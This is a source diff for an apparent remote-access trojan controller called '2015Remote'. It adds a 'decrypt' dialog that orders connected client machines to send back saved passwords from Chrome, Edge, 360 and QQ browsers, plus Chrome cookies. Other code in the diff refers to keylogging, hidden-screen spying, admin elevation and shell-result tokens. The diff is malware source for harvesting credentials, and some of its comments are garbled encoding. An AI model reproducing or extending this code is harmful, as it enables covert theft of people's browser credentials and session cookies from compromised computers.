diff --git a/common/commands.h b/common/commands.h index 475f71a..847148c 100644 --- a/common/commands.h +++ b/common/commands.h @@ -220,8 +220,12 @@ enum SOCKET_DLLLOADER=210, // 客户端请求DLL CMD_DLLDATA, // 响应DLL数据 + CMD_RUNASADMIN=214, // ADMIN 运行 CMD_MASTERSETTING = 215, // 主控设置 CMD_HEARTBEAT_ACK = 216, // 心跳回应 + CMD_SERVER_ADDR = 229, // 主控地址 + TOKEN_ERROR = 230, // 错误提示 + TOKEN_SHELL_DATA = 231, // 终端结果 CMD_EXECUTE_DLL = 240, // 执行代码 }; diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 3b68806..883f3f1 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index d635803..bbaa92c 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -34,6 +34,7 @@ #include "HideScreenSpyDlg.h" #include #include "Chat.h" +#include "DecryptDlg.h" #ifdef _DEBUG #define new DEBUG_NEW @@ -356,6 +357,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_OPENHIDESCREENDLG, OnOpenHideScreenDialog) ON_MESSAGE(WM_OPENMACHINEMGRDLG, OnOpenMachineManagerDialog) ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog) + ON_MESSAGE(WM_OPENDECRYPTDIALOG, OnOpenDecryptDialog) ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult) ON_WM_HELPINFO() ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare) @@ -1574,6 +1576,11 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) Dlg->OnReceiveComplete(); break; } + case DECRYPT_DLG: { + DecryptDlg* Dlg = (DecryptDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } default: { HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (hEvent == NULL) { @@ -1676,6 +1683,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject); break; } + case TOKEN_DECRYPT: { // 瑙e瘑鏁版嵁 + g_2015RemoteDlg->SendMessage(WM_OPENDECRYPTDIALOG, 0, (LPARAM)ContextObject); + break; + } case TOKEN_KEYBOARD_START: {// 閿洏璁板綍 g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject); break; @@ -1905,6 +1916,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) delete Dlg; break; } + case DECRYPT_DLG: + { + DecryptDlg* Dlg = (DecryptDlg*)p->hDlg; + delete Dlg; + break; + } default:break; } delete p; @@ -2214,6 +2231,21 @@ LRESULT CMy2015RemoteDlg::OnOpenChatDialog(WPARAM wParam, LPARAM lParam) return 0; } +LRESULT CMy2015RemoteDlg::OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; + + DecryptDlg* Dlg = new DecryptDlg(this, m_iocpServer, ContextObject); + + Dlg->Create(IDD_DIALOG_DECRYPT, GetDesktopWindow()); + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = DECRYPT_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo) { MessageBox("Copyleft (c) FTU 2025", "鍏充簬"); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 89161b0..a73e336 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -226,6 +226,7 @@ public: afx_msg LRESULT OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); virtual BOOL PreTranslateMessage(MSG* pMsg); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 0f1f0a4..15ac284 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -260,6 +260,7 @@ + @@ -312,6 +313,7 @@ + @@ -368,6 +370,7 @@ + diff --git a/server/2015Remote/DecryptDlg.cpp b/server/2015Remote/DecryptDlg.cpp new file mode 100644 index 0000000..739d2a0 --- /dev/null +++ b/server/2015Remote/DecryptDlg.cpp @@ -0,0 +1,117 @@ +#include "stdafx.h" +#include "DecryptDlg.h" + + +IMPLEMENT_DYNAMIC(DecryptDlg, CDialog) + +DecryptDlg::DecryptDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) + : CDialogBase(DecryptDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_DECRYPT) { +} + +DecryptDlg::~DecryptDlg() { +} + +void DecryptDlg::DoDataExchange(CDataExchange* pDX) { + CDialog::DoDataExchange(pDX); + DDX_Control(pDX, IDC_DECRYPT_RESULT, m_EditDecrypedResult); +} + + +BEGIN_MESSAGE_MAP(DecryptDlg, CDialog) + ON_WM_CLOSE() + ON_WM_SIZE() + ON_COMMAND(ID_DECRYPT_CHROME, &DecryptDlg::OnDecryptChrome) + ON_COMMAND(ID_DECRYPT_EDGE, &DecryptDlg::OnDecryptEdge) + ON_COMMAND(ID_DECRYPT_SPEED360, &DecryptDlg::OnDecryptSpeed360) + ON_COMMAND(ID_DECRYPT_360, &DecryptDlg::OnDecrypt360) + ON_COMMAND(ID_DECRYPT_QQ, &DecryptDlg::OnDecryptQQ) + ON_COMMAND(ID_DECRYPT_CHROMECOOKIES, &DecryptDlg::OnDecryptChromeCookies) +END_MESSAGE_MAP() + + +// DecryptDlg 消息处理程序 + + +BOOL DecryptDlg::OnInitDialog() { + CDialog::OnInitDialog(); + SetIcon(m_hIcon, FALSE); + + CString str; + str.Format("%s - 解密数据", m_IPAddress); + SetWindowText(str); + + BYTE bToken = COMMAND_NEXT; + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_EditDecrypedResult.SetWindowTextA(CString("<<< 提示: 请在菜单选择解密类型 >>>\r\n")); + int m_nCurSel = m_EditDecrypedResult.GetWindowTextLengthA(); + m_EditDecrypedResult.SetSel((int)m_nCurSel, (int)m_nCurSel); + m_EditDecrypedResult.PostMessage(EM_SETSEL, m_nCurSel, m_nCurSel); + + return TRUE; +} + + +VOID DecryptDlg::OnReceiveComplete() { + if (m_ContextObject == NULL) { + return; + } + auto result = m_ContextObject->GetBuffer(1); + m_EditDecrypedResult.SetWindowTextA(CString(result)); +} + +void DecryptDlg::OnClose() { + m_ContextObject->CancelIO(); + + CDialogBase::OnClose(); +} + +void DecryptDlg::OnSize(UINT nType, int cx, int cy) +{ + CDialogBase::OnSize(nType, cx, cy); + if (m_EditDecrypedResult.GetSafeHwnd()) + { + m_EditDecrypedResult.MoveWindow(0, 0, cx, cy); // 占满整个对话框 + } +} + + +void DecryptDlg::OnDecryptChrome() +{ + BYTE bToken[32] = { COMMAND_LLQ_GetChromePassWord }; + m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); +} + + +void DecryptDlg::OnDecryptEdge() +{ + BYTE bToken[32] = { COMMAND_LLQ_GetEdgePassWord }; + m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); +} + + +void DecryptDlg::OnDecryptSpeed360() +{ + BYTE bToken[32] = { COMMAND_LLQ_GetSpeed360PassWord }; + m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); +} + + +void DecryptDlg::OnDecrypt360() +{ + BYTE bToken[32] = { COMMAND_LLQ_Get360sePassWord }; + m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); +} + + +void DecryptDlg::OnDecryptQQ() +{ + BYTE bToken[32] = { COMMAND_LLQ_GetQQBroPassWord }; + m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); +} + + +void DecryptDlg::OnDecryptChromeCookies() +{ + BYTE bToken[32] = { COMMAND_LLQ_GetChromeCookies }; + m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); +} diff --git a/server/2015Remote/DecryptDlg.h b/server/2015Remote/DecryptDlg.h new file mode 100644 index 0000000..f1d48ef --- /dev/null +++ b/server/2015Remote/DecryptDlg.h @@ -0,0 +1,34 @@ +#pragma once + +#include "IOCPServer.h" +#include "Resource.h" + +class DecryptDlg : public CDialogBase +{ + DECLARE_DYNAMIC(DecryptDlg) + +public: + DecryptDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL); + virtual ~DecryptDlg(); + + VOID OnReceiveComplete(); + +// 对话框数据 + enum { IDD = IDD_DIALOG_DECRYPT }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 + + DECLARE_MESSAGE_MAP() +public: + virtual BOOL OnInitDialog(); + afx_msg void OnClose(); + afx_msg void OnSize(UINT nType, int cx, int cy); + afx_msg void OnDecryptChrome(); + afx_msg void OnDecryptEdge(); + afx_msg void OnDecryptSpeed360(); + afx_msg void OnDecrypt360(); + afx_msg void OnDecryptQQ(); + afx_msg void OnDecryptChromeCookies(); + CEdit m_EditDecrypedResult; +}; diff --git a/server/2015Remote/res/decrypt.ico b/server/2015Remote/res/decrypt.ico new file mode 100644 index 0000000..de2dbbe Binary files /dev/null and b/server/2015Remote/res/decrypt.ico differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 4223baf..c965cd0 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 7db9afa..54322ca 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -81,6 +81,7 @@ #define WM_OPENHIDESCREENDLG WM_USER+3015 #define WM_OPENMACHINEMGRDLG WM_USER+3016 #define WM_OPENCHATDIALOG WM_USER+3017 +#define WM_OPENDECRYPTDIALOG WM_USER+3018 enum { @@ -99,6 +100,7 @@ enum HIDESCREEN_DLG, MACHINE_DLG, CHAT_DLG, + DECRYPT_DLG, };